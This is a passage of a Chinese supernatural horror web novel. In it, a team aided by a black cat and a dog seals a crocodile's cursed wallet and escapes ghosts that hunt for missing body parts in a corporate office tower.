柴刚捷瘫坐在地上,一脸失魂落魄。他趴在门口,想透过门缝观察外面的情况,可冷库的门就像一堵石墙,完全挡住视线,只依稀有些可怖的咀嚼声,透过厚门飘入。 这时谢临风和夏双双已经拿着手电筒,继续未完成的工作。关闭冷库门后,室内温度骤降。 “要加快速度。”夏双双说。 谢临风把自己的小鹦鹉塞在外套内兜,让它在暖和的地方缩着,哆哆嗦嗦地拿着手电,呵出一口白汽。因为寒冷,手不住颤抖,手电白惨的光线晃动,冷不丁扫过身边,一道瘦鬼般的人影吓他一跳。 “我来帮你们一起找。”柴刚捷说。 谢临风皱了下眉,反而离他远了一步。 柴刚捷喃喃:“我从小努力读书,考上重点大学,大学努力学习,积极参加活动,最后进了庆康集团。我的人生不能断送在这里!” “对对。”谢临风安慰他,“你好好想一想,有没有见过一条鳄鱼。” 柴刚捷置若罔闻,呢喃自语:“我刚买的房子,还没装修,住都没住一天,我不能死在这里!我的房贷一个月两万,要是断缴,就会被银行收走,我得出去工作,我要出去工作!” 谢临风皱着眉。 冷库温度很低,他和夏双双说话时,都会吐出白汽,柴刚捷一口气说了这么多,却没有吐出一口热气 。 “老板说,只要努力工作,就能有幸福生活,园长说,只要拉到游客,就能够走出这里,我都相信他们,为什么、为什么会这样?”柴刚捷低着头,有液体顺着他的皮往下面淌,他的双肩耸着,像骨架撑着衣服,“为什么、为什么、为什么?” 滴答落在地上的不是水,而是青绿色的、类似黏液一样的绿藻。 谢临风心中懊恼:怎么救进来这么一个怪物? 对面显然在崩溃异化的边缘,很危险。夏双双走过来,长柄手电在他肩上拍了下,手电像碰到一团史莱姆,轻松陷了进去,柴刚捷的肩膀出现一个古怪的坑,手电长柄从手臂侧一直抵到他的脖子,两侧的肉跟水一样往旁边挤。 他回头,变形的脸看着夏双双,鼻子眼睛淌出绿色黏液。 夏双双:“既然想出去,就精神点,我们去找小河,你就回忆下,看能不能记起,公司出事那天到底发生什么?” 柴刚捷抱头,蹲在地上。 夏双双和谢临风对了个眼神,离他远一点,继续在冷库搜寻。仓库越来越冷,他们在一片碎肉烂菜中翻来找去,陷入纠结,按理说小河身躯庞硕,足足有六米,如果真在冷库中,应该很好找到,可现在的情况是,他们在仓库半天,也没见到一点鳄鱼的影子。 “难道小河不在冷库里?徽章不会是他们偶然掉在这里的吧,还是鬼域给我们的误导?”谢临风一拍脑门,“要是误导,那不是坏了,我们被困在这里了。” 夏双双抿紧嘴角,思索一会,说:“但是你不觉得,冷库很特殊吗?关上门后,音乐就无法传入,进来冷库里,本来被动物园操纵的员工,也开始有了觉醒的趋向。” “那我们再找找?”谢临风叹气,“那么大一条鳄鱼,能藏到哪去呢?就算我们找不到,闪电鼻子这么灵,也该找到了吧,闪电呢?” 幽暗中传来梦呓般的声音。 两人回头看去。 柴刚捷低声说:“我想起来了,那一天……本来是休息日,公司照例要加班,我想休一天假,陪着老婆过周年。但听说王董的儿子要来公司,说不定他就是下一任老板,为了在他面前表现好一点,我就留在了公司里。早知道、早知道,就不加这破班了。” 他懊恼地抓着头发,头皮像烂布被手指揉皱,一些黏液黏住了指头。 夏双双:“你说的,王董的儿子,他一过来,你们公司就发生了灾厄?你还记得他什么样,身上带着什么奇怪的物品吗?” 柴刚捷用力抓着头,头皮与头骨摩擦,发出粘腻而让人头皮发麻的咯吱声,就像在抓史莱姆。他努力回忆着那天发生的事情,“小王总坐在轮椅上,看上去病怏怏的,脸色不太好,但他人很亲切,还和我们打招呼。” “小王总对公司装修好像不太满意,他拿出一张油画布,让艾思去挂上,还在办公桌放了一瓶玫瑰……” 玫瑰花、油画布。 夏双双和谢临风同时意识到,这是在以前楼层出现过的鬼域。柴刚捷口中所谓的小王总,有意带一堆污染物来到庆康公司,将这栋大楼变成了鬼域,楼中的普通人,成为无辜的受害者。 “你还记得,”怕刺激到柴刚捷,夏双双放轻声音,“小王总到这一层时,拿出了什么吗?” 柴刚捷挠头,“我想起来了,我跟在小王总身后,看见地上多了个皮夹,以为是他掉的钱包,捡起来还给他,小王总却说是不要的东西,让我帮忙丢到垃圾桶里。那皮夹摸上去质感很好,像是真皮的。” “汪汪汪!” 黑暗中响起狗叫声。 “闪电?” “汪汪汪!” 他们跑到犬吠传来的地方,地上摆着的一个筐被撞翻,蔬菜散落,一个小巧的皮包就藏在其中。皮包上布满方格图形,曲线生动,光泽细腻。 谢临风伸出手,“这就是小河?” 夏双双打量四周,“怎么没有看见闪电?等等,先别碰!” 但谢临风的手指已经摸到皮夹子上,几乎是在触碰的瞬间,他也消失了。 好在他们的声音还能透过皮夹子传出。 “老大!”谢临风喊:“我看见小河了!你也进来吧。” 夏双双:“我进来?谁来封印污染物?” 但她拿出封印物,想要接触皮夹子时,感觉到一股极强的排斥力。 夏双双咬牙,打算强硬地直接将皮夹封印,裹尸布铺开,盖在皮夹子上。布刚盖上,忽然被一把掀翻,她用双手按在布上,下一秒,她的身体也被巨力掀飞,抛到了空中。 落地时她一个翻滚,没伤到筋骨,目光警惕地看着小巧的皮夹子。能力者的身体素质都强于常人,而她经常训练,力量并不弱,却瞬间被裹尸布下的强悍存在掀飞。 那是野兽之王才有的力量。 “小河并不想离开?”夏双双皱眉,陷入为难。面对一条一吨重六米长,咬合力四千二百磅的巨物,想强硬地收容简直是天方夜谭。 “喵~!” 听见软软的猫叫声,夏双双下意识环顾四周。 直到脚背传来重量,小猫柔软温热的身体压在她的运动鞋上,轻柔的身体随呼噜颤动,她这才找到猫在哪,低下头,在一片黑中,看见两点圆圆的金黄,就像两颗缀在黑夜里的星星。 “喵呜。”小猫坐在她的鞋背,歪头蹭了蹭人的腿。 夏双双俯身摸摸它,让它爬到自己的肩膀,也看见跟在小猫后面进入冷库的人,“你们是?” “我们是来找小河的,它在这里吗?” 夏双双看向地上的皮夹子。 她忽然觉得,小河不肯离开,是因为在等这些人。 触碰到皮夹后,他们进入了另外一个动物园。 池子里只有浅浅的水,水幽绿,绿得不祥,许多雪白的泡沫像死鱼的肚皮,飘在水面,游客随手丢下的垃圾、树枝、不明的物品飘在水中,让水面像个散发异味的垃圾池。 在池水前,一条瘦长的鳄鱼静静趴在肮脏的瓷砖上。上半身趴在干涸而肮脏的池底,下半身搭在垃圾池中,但浅浅的池水,也只是浸湿了它的脚趾。 它紧闭着双眼,身上的皮松松垮垮吊着,像个空荡荡的口袋。 谢临风抱着狗子,坐在栏杆外,提防着鳄鱼暴起。就算它看起来这么虚弱,也是一条能轻易撕碎他们的大鳄鱼。 怀里的狗子脑袋微歪,兔子一样立起的大耳朵动了下,它外表威严,保持克制,没有叫,但尾巴就像螺旋桨,呼呼地摇了起来,把谢临风的腿打得啪啪响。 谢临风“嘶”了声,顺着小狗专注的视线转头望,在身后几级台阶之后的灌木丛里,一只小黑猫钻过草丛,露出了小脑袋。它晃了晃头,长毛蓬松地抖动,抖下几片叶子。 “喵。”小咪跑过去,矜持地和他们打了个招呼。 “小河!”那行人跑过来,停在栏杆后,其中有个青年手撑着栏杆,腿跨过栏杆,跳入池子里。 谢临风连忙站起来,提醒他,“下面有鳄鱼,很危险啊。” 那人不理他,跑到了小河的面前,蹲了下来。 “这是小河的……受小河前饲养员的委托来看它的,小河认识他,”带头为小河提供救助的年轻人对他解释,“他还带了小河最喜欢吃的虱目鱼,希望能让它恢复进食的欲望吧。” 小咪把脑袋伸过栏杆,眼睛瞪圆,好奇地看着那条薄得像纸片的鳄鱼,和蹲在它面前的人。它看见,似乎有水滴滴在了鳄鱼干枯皲裂的皮肤上,就像雨落在干旱已久的河床。 小河睁开了眼睛。 “小河,小河,”那个人抚摸它瘦到变形的身体,抚摸它被瓷砖磨烂的爪子,说:“你要是实在撑不下去,就走吧,吃完这几条虱目鱼,就走吧,不要再受苦了。” 小河微微张开嘴,人拿出鱼,放在它微张的嘴里。 ———— “可以了。” 夏双双拿起裹尸布,这次,她没有感受到小河的抗拒。 “小河留在这里,好像只是为了再见这些人一面,等那句告别的话。” 就在裹尸布要将皮夹包起,对它强制封印时,一只毛茸茸的爪子抵在了夏双双的手背上。 小猫的力量很轻,肉垫软弹滚热。 夏双双却顺着它的动作停下来,问:“咪咪,你想做什么?” “喵呜。”小咪蹭蹭她的手。 很意外,这一次,夏炫没有在旁边,他们却都意外读懂了小猫想说的话。 夏双双捡起地上的皮夹,揣进口袋,“好吧,听你的。” 入夜,他们出现在繁茂的森林里。郁郁葱葱的树木中,一条翠如翡的长河似玉带般滑过。 夏双双将皮夹子放进水里,一入水,它变成了一条鳄鱼。 鳄鱼比动物园那条更加雄壮威风,像一块岛屿,浮在水面,与周围的森林绿水融为一体,似乎天生就属于这里。它露出眼睛,无声凝望着一行人。 “啊,小河还不走吗?它想干什么?” “给我们带路吧,总不会是想吃了我们。” 小咪纵身一跃,跳到了小河的头上,揣着爪爪趴下来。 小河浮在水面,慢慢往前游,几个人带着狗,跟着它在河边走。走了有一会,他们在河畔一棵树下,找到了鬼域的出口。 “可惜不能救出其他人。”谢临风叹口气。 动物园的员工们,早就已经在接触到污染物不久就死去,变成了园长那样的怪物。不过解开这个鬼域后,至少他们不必在动物园里,日复一日被折磨。 “咪咪,”夏炫朝着鳄鱼头顶的小猫伸出手,“该走了。” “喵。”小咪后腿一蹬,跳到了河畔,它扭过脸,对着小河喵喵叫几声,尾巴尖尖轻晃。 再见了,小河。 小河继续划动短小有力的四肢,悠哉悠哉,慢慢往前游,翠绿的河流长长,在河的尽头,似乎有一片广袤无垠的水域。 “再见了,小河。”人注视着碧波上的涟漪,在岸边对它挥手。 去做一条小河吧。 自由自在,奔腾入海。 第113章 “咪呜。” 咪看见, 人的眼睛尿尿了。 夏炫哑然失笑,揉揉小猫脑袋,“不是尿尿, 是在哭。” 小咪:“喵。” 猫知道,人的眼睛会像水龙头一样滋水。 室友加班到深夜回家时,会抱着猫的身体嗷嗷哭,一边哭一边拿它当抹布擦泪,弄得咪要舔半天的毛。 夏炫:“因为心里太难过,所以人会忍不住流眼泪。咪咪会哭吗?” 小黑猫趴在他怀里,歪头想了一会,下巴轻轻仰起,骄傲地说:“喵!” 猫不会哭! 夏炫注意到,当小猫响亮地叫了声后,又低下头, 轻轻叹口气。 按理来说,小猫的面部神经不足以支撑它们做出丰富的表情,大部分时间,猫都只用瞪着圆圆的眼睛,面无表情地注视人类,但人类马上就被勾引得心肝乱颤。 猫:呼吸。 人:好手段! 可是怀里的小黑猫确实是在叹气——它低着小脑袋,微微张开嘴,吐出的气流让胡须微微颤抖,它小小的身体也随之抖了一下,金色的眼睛里露出担忧的情绪。 一种毫无由来的想法在夏炫心中萌生: 怀里的小猫, 是在为脆弱的人类而担忧。 他情不自禁露出笑容,把罪恶的手伸进小猫又软又热的原始袋,边掏小猫裤·裆,边陶醉地说:“啊对对对。” 人只要负责掏猫裤·裆就够了。 小猫要考虑的事情可多着呢。 “咪咪说什么都对!” 夏双双看了眼又突发恶疾开始疯狂喊“咪咪咪咪”的青年,试图把他的脑子拉回正事上,“柴刚捷说,来庆康集团,导致大楼发生灾厄的,是他们老板的儿子,小王总,你知道吗?” “小王总?王绍兴他儿子,那不是……”夏炫瞪大眼睛,掏小猫裤·裆的手都停住了,“沉风渡?” “喵!”听见熟悉的名字,小咪叫了声。 咪认识他。 夏炫眉头紧皱,“不会吧?他之前不是一直被王邵远关在疗养院里吗?” 但柴刚捷形容小王总——虚弱、病重,坐在轮椅上。 和沈风渡几乎一样。 夏炫:“难道真的是他?” 在疗养院时,队长就怀疑过沉风渡的身份,还让人查过。最后没查出什么,加上他们马上就进鬼域,只能作罢。 “喵?”小咪歪头,柔软的耳朵擦过夏炫的下巴,耳朵很有弹性地抖了抖。 夏炫心事重重地揉揉小猫的耳朵,“再往上走吧,快到顶楼了,应该能和队长会合。” “喵!”小咪歪头,用力拱了拱他的手,从他身上跳下来,跑到夏双双身边,仰头看着女人。 “怎么,你想我来抱你吗?” “喵!”小咪直立起身,前爪扒拉她的手,金色眼睛透着坚定执拗。 夏双双愣了一会,俯身把小猫搂住,但小咪转身一扭,从她的怀里跑出去,又回头看着她喵喵叫。 “小猫,你想要什么?饿了?” 孙菱抱着手臂,“猫的心事就是很难猜。” “你可是能说出猫一直响这么冰冷的话的,”夏炫倒是一眼就猜到小猫的心思,“我看咪咪是想要夏队手里的牵引绳。” “咪呜。”小咪接过牵引绳,用牙齿咬住,偏头蹭蹭人,转身翘起尾巴往前面跑。闪电温驯地低下头,跟在它的身后。 前方是漆黑的走廊,冰冷的手电光线被黑暗吞噬,照出一两米开外的距离。 几个人没有再说话,心中各有各的想法。 夏炫偏头,看向旁边落地窗,透明玻璃外,不是灯火通明的城市,而是一片不祥的,泛着丝红雾的黑暗。他清楚,现在庆康大楼被拖往了暗世界,正介于阴与阳之间的混沌区域,如果不早点解决鬼域,恐怕整座城市都会沦陷。 这就是沉风渡想要的吗? 他懊恼地锤了下脑袋,后悔没找到查到沉风渡的异常。他们都以为王邵远才是和深渊勾结的人,谁能想到,这对结仇的父子,居然在搞事上默契达成一致。 夏炫想了会,视线往前移,前方漆黑让他心中一沉,拔高声音:“咪咪?” “闪电?” 夏炫往前走几步,忽觉不对,回头往后看。 不知什么时候起,后面也变成了一片漆黑,漫长的走廊像一个黑洞,吸走所有光线。 他小声喊:“谢临风?夏队?” 一片死寂,但等了没多久,黑暗中响起了脚步声。 “咚、咚。” 不远不近,就跟在他的身后。夏炫心里咯楞一声,听脚步声渐近,连忙放轻脚步,往前面走。 “哎……”一道虚弱的声音在身后响起,“在哪儿呢?在哪儿呢?” ———— “咪?” 小咪听见声音,回头往后看。 猫的瞳孔放大,黑色瞳仁像墨水一样漫开,占据了圆圆的眼睛。在走廊十几米外,有两条惨白的腿。 西装裤包裹着筷子般的腿,下面是双皮鞋。 他似乎是弯下身体,在地上摸索,露出半截身体。 小咪歪头,好奇地想和人打声招呼,视线骤然被一座狗山挡住。 闪电挡住了它,大狗隆起的后背就像一座毛茸茸的山脉。它的肌肉紧绷,像一根弦上的箭一般蓄势待发。 小咪耐不住好奇心,钻到了闪电肚子下面,往前看去。 那个人不再寻找了,而是直直朝他们走过来。 皮鞋踩在亮滑瓷砖上,发出“踏踏”的声音。而双腿再往上,就什么都看不见了。 小咪只能看见他的半截身体。 它瞪圆眼睛,跑到闪电身后,咬住牵引绳,“喵!” 跑。 小咪牵着狗扭头就跑。 办公楼的地板冰凉光滑,猫的爪子踩在上面打滑,跑了好一会,始终甩不掉后面阴魂不散的脚步声。 “踏踏。” 皮鞋声越来越近,闪电几步冲到猫的前面,伏低身体,示意它坐在自己背上。 小咪抬起一只爪爪,思考了一小会。它偏头看向了旁边一扇门,往上一跳,按住门把手,用力往下压,和狗子一起跑进了房间。 这是人的会议室,房中有条够猫跑酷的长桌。以闪电的身形,也能钻到桌子底下。 小咪则是钻到了闪电的肚子下面。大狗滚热的肚子就像一张毛毯,将它紧紧裹住。 “塔。” 脚步声停在了门边,没过多久,小咪耳朵微动,听见门轴转动的声音。 “塔。塔。塔。” 皮鞋从它们的面前经过,绕着长桌徘徊。 走了几圈后,它转身离开,撞开门,半截身体没入黑暗中。 小咪松了口气,身体软软靠在狗子的肚皮上,过了会,它探出脑袋,左右张望。 喵呜? 猫的铲屎官呢? 小咪坐在地上,尾巴尖稍轻柔地扫着地面,心想,咪和铲屎官走散了。 他们明明走在一条笔直的走道上,不可能在神不知鬼不觉中跟丢,想起刚才的半截人,小咪猫心一凛,明白这是误入了鬼域,按照人的术语,这应该叫鬼打墙。 要怎么离开呢? 小咪微抬起脸,在一片黑暗中,看见点银白飞快靠近。它本能地伏低身体,扭动屁股,喉咙发出电报一样的“咔咔”音。 闪电歪歪头,看看小猫,又看看天上飞来的银鸟。 就在小咪后腿蓄力,要跃到半空时,小鸟及时发出人声:“咪姐,猫口留情!” 小咪不快地甩了甩尾巴,“喵”了一声。 夏炫刚松一口气,眼前忽然一黑,信使被一片温热包裹,钝而有力的犬齿抵在小鸟的羽翼,稍微用力,就能撕裂他的胸腔。 他全身绷紧,与影子通感,仿佛置身在猛兽的口腔,身体也不由僵硬,心想:咪咪刚刚没有跳起来,难道是厉鬼去而复返? 视野又慢慢亮起来。 他感觉信使滚到了地上,睁开眼,一张咧嘴微笑的狗脸占满了视线。 闪电把信使吐到小咪面前,尾巴轻轻摇晃。 夏炫:“……” 夏炫:“不要把我当成你给咪咪献殷勤的工具啊!你还是人类的好朋友吗?闪电,你叛变了!” 吐槽归吐槽,他让信使抖了抖羽毛,甩掉身上口水,“咪咪,你那边是什么情况?” “喵呜——” “等等!”夏炫闭上嘴,压低声音:“它又过来了。” “咚。咚。咚。” 熟悉的声音在黑暗里回响,比起脚步声,它更显沉闷,像击在鼓面上。 “在哪儿呢?在哪儿呢?” 声音虚弱,语气焦急。 夏炫缩在黑暗里,心想,这个鬼大概是在找什么东西,帮它找到丢失的物品,应该就能解开这个鬼域。 这次的鬼打墙区域很小,不像是深渊的布置。难道是死在大楼里面的员工被污染,也变成污染源? 他在寻找的东西是什么? 夏炫屏蔽“在哪儿呢”的恐怖呢喃,心想,鬼魂在这条走廊中徘徊,说明他要找的东西,就在这附近。 死去的员工执念不散,想找的是……工作资料? 不知什么时候,鬼魂的呓语消失了,脚步声也不再响起。 夏炫抬起头。 他正像小猫一样,缩在一张办公桌底下,桌子前方用工学椅挡住。现在,在椅子滑轮下,有张倒悬的惨白面孔正静静看着他。 夏炫心里骂了句脏话,用力把椅子往前推,趁着鬼被椅子推得往后退了退,从桌子底下滑出,手撑着桌面,腿一曲一伸,跳到了桌子另外一边。他拔出枪,瞥了眼厉鬼在的位置,脸色忽然苍白。 桌子后面的鬼影消失了。 夏炫皱了皱眉,心里一沉,拔腿想跑,腿上却一沉,左腿仿佛失去了知觉,变得僵硬麻木。他低下头,一只惨白的手指嵌进小腿里,刚才见到的脸从桌底爬出来,对着他笑:“终于找到了。” 第114章 淦! 电光火石间, 他突然明白过来:厉鬼在找自己失去的腿。 刚才他蹲在桌子底下,鬼没有看见他的腿,所以才一直没有动。 他跑出桌子, 本能地想逃离这里,反而踩进了死路——露出了自己的腿。 腿冰冷刺骨,仿佛浸在寒潭中。 那只白得反光、毫无血色的手, 攀上他的小腿,指节嵌进肉里,戳出一个血洞。 夏炫并不感到疼,只是冷,麻痹很快蔓延,一条腿都变得像块石头般僵硬森冷,迈不开步子。攀住他的双手慢慢往上,鬼脸嘴角往上咧, “找到了,找到了。” 他抿了下嘴角。 接下来,鬼会爬上来,截断他的双腿,试着把腿安在自己的身上。但这不是原装的腿,它永远也不会满足。 “喵!” 信使那头传来焦急的猫叫声。 夏炫:“咪咪,你在你那边, 也遇到了一个鬼?” “喵!” 夏炫心中明朗, 定了定神, 快速地说:“你能把鬼带到我这边来吗?只有两个鬼相见, 才能解开这次的鬼打墙。” “喵呜。” 小咪听见人报的位置,仔细想了想,跳出门外,对着走廊徘徊的半截身体大喊:“喵喵喵。” 皮鞋转了个方向,鞋尖正对着猫。 小咪朝它哈了口气,转身就往回跑。 “踏踏”声在身后不停,越来越急,越来越近。 小咪爪子刨地快刨出火星子了,快被追上时,它喵了一声,前面的闪电伏低身体。小咪后腿一蹬,跳到的狗子宽阔的背上,喵喵叫着引路。 闪电就像自己的名字一般,跑起来像道迅捷的电光,瞬间穿过了走廊。 小咪细心不露出自己锋利的指甲,爪爪扒拉着它的背毛,在经过一扇门时,它喵喵叫着,闪电则听话地冲入门中。 “咪。”小咪跳到办公桌上,抬头左右张望。 一张张办公桌相连,桌上的文件凌乱,不少掉在地上,纸页被血浸透。 小咪跳过几张办公桌,发出呼唤伙伴的低呜声,但转了一圈,却依旧没有找到夏炫的人影。 难道走错了房间? 小咪转身,半截人已经走到了门口,两根筷子一样的腿杵在门中央。 皮鞋抬起,踏在瓷砖上,声音清脆。 笔直朝着咪走来。 “汪汪汪!”急促的狗叫声吸引走它的注意,鞋尖方向一转,地面多了几个血脚印。 闪电替小咪吸引走了厉鬼的注意,小咪跳到地上,在办公桌下穿梭,寻找属于人的腿。 “喵呜。”眼看皮鞋快要追上闪电,小咪焦急地喵喵叫起来,用爪爪拍飞桌上的文件。 两条腿停在闪电身前,一动不动,对小咪各种挑衅行为视若无睹。 闪电也没有动,身体僵住,保持前倾的姿态,在它窄而有力的腰部,出现条淡淡的血痕。 血液濡湿黄褐色的毛,滴在了地板上。 “滴答。” 小咪瞪圆眼睛,意识到,夏炫可能也处在的情况中,他的身体被定住,也发不出声音,就算他们处在同一个空间,也无法互相看见。 但还是有方法能找到他的位置。 小咪的鼻子动了动,抬起脸,认真嗅空气中的气味。 办公室中的气味并不好闻,血腥味、尸臭味一齐挤入猫的鼻腔里,把它呛得打了好几个喷嚏。嗅了几下,小咪闻见了熟悉的气味,是温热的铁锈味,带着青年身上薰衣草的香气。 猫扭头跑到一张办公桌前。 地板上一滩猩红液体,温热的血打湿猫的爪子。它抖了下爪子,抬起头。 “滴答。” 一滴血滴下,水面泛起涟漪。 小咪瞪圆了金色的眼睛,喉咙发出低低呜声。 半截人停在闪电的面前。 几分钟后,它抬起一条腿,皮鞋悬在德牧的腰间,劲瘦窄腰汩汩冒血,殷红血线几乎将它斩成两段。 皮鞋落在了闪电腰上,狗子的脊椎传来咔嚓的响声。 它被迫伏低身体,眼中闪过凶狠的光。 忽然,半截人身体晃了一下。 滚轮转动飞快,小猫蹲在电竞椅上,把半截人撞开。它抬起一只爪爪,在空中挥舞,电竞椅一百八十度转弯,直奔办公室中央。这成功拉住了半截人的仇恨,皮鞋踏踏响,在小猫身后穷追不舍。 小咪坐着电竞椅车,在办公桌前滑来滑去,到血泊前,它停下来,往上一跃,下一秒,电竞椅断成两截,椅背的部分被齐齐削掉,就像是一个人被拦腰截断。 “踏!” 半截人重重跺脚,似乎很生气。 “喵!” 小咪坐在桌上,也用爪爪拍桌,顺带把文件全扫地上。 猫儿眼瞪圆,毫不畏惧地瞪着它。 半截人走近,皮鞋踩得血花四溅。有股无形的力量笼住了小咪,紧紧勒住它的腰,它用母鸡蹲的方式蹲着,溜圆的眼睛微微下垂,不自觉发出安抚自己的呼噜声。 半截人每靠近一步,小咪的肚子就更疼一点,好在猫肚子上有层厚实的原始袋,可以稍微垫一垫。 “呼噜呼噜。” 小咪看着逐渐靠近的半截人,心想,他失去了上半身,所以想把别的东西上半身切掉,移到自己身上。但他没有发现不对劲吗? 猫和人的尺寸对不上,就算他把猫切断,也没法拼到自己身上。 “汪汪!”闪电冲出来,咬住了半截人的裤脚。 小咪身上的桎梏一松,它朝狗子囔囔两声,扭头跳到另外一张桌子上。 见小猫跳开,闪电才松开嘴。 半截人追了两步,脚步突然停顿,僵滞在一片血泊里,一只惨白的手,逐渐攀上了他的双腿。 小咪:“喵!” 它嗒嗒跑到桌前,探出小脑袋,看着人类。 夏炫坐在一张椅子上,捂着腹部,血从指缝不停往下流,染湿了大半身体。他抬起苍白的脸,露出微笑,声音虚弱,“咪咪,你来啦,没受伤吧。” “喵呜。” 小猫的尾巴沮丧垂落,将肉垫轻轻按在人的手背上。失血过多让青年的肌肤冰凉而粘腻,显得毫无生机。 小咪用第二条命为他治伤,轻轻踩在他的腿上。 “别,我身上都是血,很脏的。”人用手掌拢住小猫的脑袋。 原来温暖干燥的掌心,变得冰冰凉凉,他身上好闻的气味,也被浓烈的血腥掩盖。 小咪用力拱拱人的手,趴坐在他怀里。 一想到猫会失去铲屎官,咪就忍不住心情低落。在小咪的人生里,从来没有这样的情绪,作为一只曾经流浪过的小猫,它知道分别只是一刹那的事情,也许明天,同类就会身体僵硬地出现在哪个街头垃圾桶里。 但小咪也知道,人能活很久很久,人的寿命比猫要长,在它的人生设想里,铲屎官应该给猫铲一辈子的猫砂。 第二条命让身上伤口愈合,夏炫缓过来一点,擦干净手上血,忍不住将脸埋进小猫柔软的肚子上,笑着说:“咪咪,没吓到你吧?” “喵!” 小咪抬起头,用力蹭他,对着他喵喵叫。 人要给猫铲一辈子的屎! 人不许食言。 ———— 夏炫伤口愈合了,但失血过多,不能再往前走,只好找个地方停下。他把自己的影子交给夏双双,“信使,能在鬼域里传信,可以传递信息,如果有什么我能在外边帮忙的,就对着它说话。” 孙菱皱眉,“你还是顾好自己吧。” 夏炫吐出口气,“楼里死去的人也开始产生鬼域了,刚我和咪咪遇到的那个人,明明上半身和下半身就处在同一个地点,却没办法看见,只有它们碰撞在一起,才能感受到彼此。可能下一个鬼域就和他的死法相关,小心一点。还有我那时候,好像听见什么滴答的声音。”他揉了揉眉心,头脑昏沉,“可能是我的血?” “喵!” “咪咪,你还要继续往前走吗?” 小咪拱了拱他的手,跳到狗子的后背上,在厚实温暖的狗窝伸了个懒腰。 夏炫知道了答案,叹口气,揉揉它的脑袋,目送小猫离开。 “快到顶楼了。”夏双双拎着手电,说。 刚才中招的只有夏炫和小猫小狗,也就是在一瞬之间,他们还没反应过来,地上就多了一泊血,队友血淋淋躺在地板上,身体几乎断成两截。 孙菱没经历过这种情景,看着刚才还活生生的队友眨眼重伤濒死,差点叫了出来。她一直以为自己胆子不小,就算刚进鬼域,也能忍住恐惧和恶灵周旋,可现在也有些脸色发白,心脏扑扑跳动。 小咪耳朵微动,歪头,跑到她的脚边,趴在鞋背上,“喵!” 它抬起脸,金色的眼睛炯炯有神。 人,你可以抱猫。 孙菱俯身,捞住小猫柔软的肚皮,把它抱在怀里。小猫软得像水一样,两只爪爪抱住她的手臂,她顺势低下头,正好将脸埋在猫柔软的小肚子上。 “呼噜呼噜。” 小猫的身体发出的呼噜声像镇定的良药,孙菱被安抚到了,深吸一口气,猫的身上有股像小麦一样香甜的味道,让她想起阳光下金色的麦浪,闻着闻着,一股淡淡的腥气飘入鼻中。 孙菱的表情凝滞,用手搓了搓小猫的腹毛,就算被猫舔过,也能依稀摸到一些血凝固的血渍。 “咪咪,”她大惊失色,“你受伤啦?” “喵!”小咪翻开肚皮,低头舔舔毛,示意她看伤口已经愈合了,只是掉了几根毛。小问题!猫以前肚子上被送到宠物医院嘎一刀,脖子上戴圈,身上穿手术服,还能跳到空调上,在家里蹦迪。 但人的眼神却变了。 孙菱垂下眼,长睫下掩着一口泉,好像随时都要流出水。 小咪急得用力蹭她的脸颊,“喵喵喵!” 人,猫很强! 人,不要怕! 第115章 小咪窝在人的衣服里。 孙菱把外套拉链下扯,弄成个袋鼠一样的兜,小猫就贴着她的身体,睡在她的怀里。 小咪趴在她的胸口,小脑袋从兜袋里露出来透气,随着人的脚步,兜也摇摇晃晃的。 “喵呜。” 它抬起只爪爪,按在孙菱的衣服上,好心为她舔了好一会毛,把衣服上的毛刺舔顺,才在摇晃温暖的小猫窝里,陷入梦乡。 猫是警惕心非常强的生物,大部分时候,只是浅浅地睡觉,有什么动静马上就会惊醒。在胡桃街流浪时,小咪确实会这样,但有了铲屎官后,它已经养成随地大小睡的习惯。 小咪砸吧嘴巴, 做了个梦。 这次不再是那片郁郁葱葱的森林, 它梦见自己在一条路上走。 是一条在猫看来,很长很长的道路。 小咪走了很久,也没觉得累, 突然, 它看见迎面走来几个人。 是自己的铲屎官。 小猫的尾巴翘了起来,尾巴根旗帜一样竖直, “喵!”它把声音放嗲,对着来人大声叫:“喵啊——” 但他们似乎没有看见它,也没听见它的声音。 小咪歪歪头, 想要跑过去,人的眼神不好,猫喜欢一屁股坐在他们的鞋背上,再听他们发出“啊,是猫猫呀”这样惊叹的话。 跑了几步,小咪发现不对劲。 明明他们在一条路上,相对而行,可它去不了人的那边,铲屎官也看不见它。 “喵?” 小猫的尾巴弯成了一个问号。 它醒过来时,身边空荡荡的,连闪电也消失不见了。但孙菱的外套还在,熟悉的气味包裹着它,它从外套下伸出脑袋,“喵?” “咪咪?”夏双双声音响起。 “喵!” 夏双双:“我看不见你,你在哪里?” 小咪:“喵呜。” 猫也看不见。 这样的情况对它来说从未出现过。以前无论是多黑的夜晚,就算是人左脚撞到右脚在地上摔跤的夜里,它依旧看得很清楚。 而现在,小咪眼前漆黑,像是被一只手捂住眼睛,它嗅着空气中的气味,朝着夏双双跑过去,没跑两步,突然踩空,从半空坠落。 小咪在空中调整姿势,爪爪落地,厚实的肉垫为它吸收下坠的冲击力,当了很好的减震缓冲。 “咪咪?” 小咪这次步伐谨慎很多,肉垫踩踩,触碰到人类温暖有弹性的身体,又嗅到熟悉气味,才放心跑过去,趴在她的腿上,用力拱着她的手,“喵喵喵!” 听见小咪影子翻译的人话后,夏双双表情微变,“你也看不见了?怎么会呢?” “小猫不是有夜视能力吗?” “喵呜。”小咪把脑袋抵在她温热掌心里。 “难道我们都变成了瞎子?”夏双双皱眉,思考着,“不对,还有一种可能。所谓猫在黑暗中能看见东西,是因为小猫的视网膜前有个类似镜子的膜状组织,叫作明朗毯。这层膜只是能增加光的刺激,提高夜视能力,但如果在没有光的黑暗空间里,就算是小猫,也无法看见。” “喵喵喵。” 带着猫毛的肉垫轻轻拍了下她的嘴巴,小猫在喵喵喵地叫。 叽里咕噜说什么呢? 猫听不懂! 夏双双捏住它的爪子,亲了一口,说:“现在有两种可能,一种是因为规则或者某种原因,我们被剥夺了视力,变成瞎子,第二种是,我们身处在没有光线的黑暗空间。” “喵。”小咪明白了。黑暗让它感到几分慌张,从小到大,猫没见过这样浓重的黑,它把身体压在两只爪爪上,用尾巴环住前爪,警惕地打量着周围。视力被剥去后,猫的嗅觉与听觉变得更加灵敏,一些窸窸窣窣的声响钻入它的耳朵里。 它的耳朵像天线一样往后撇,轻歪着头,听四面八方的声音。 夏双双小声问:“戏精?阿菱?你们不在吗?” “咪呜。” 回应她们的是“咚咚”声。 小咪想起倒立的鬼魂,瞪圆眼睛,喉咙发出低呜。 “夏姑娘,狸大人?”门外响起人声,一点淡淡的火光透过门缝,流水般涌入房间。 借着这点光亮,小猫的瞳孔扩散,金色的眼睛被染黑,四周的景象映入它的眼里。 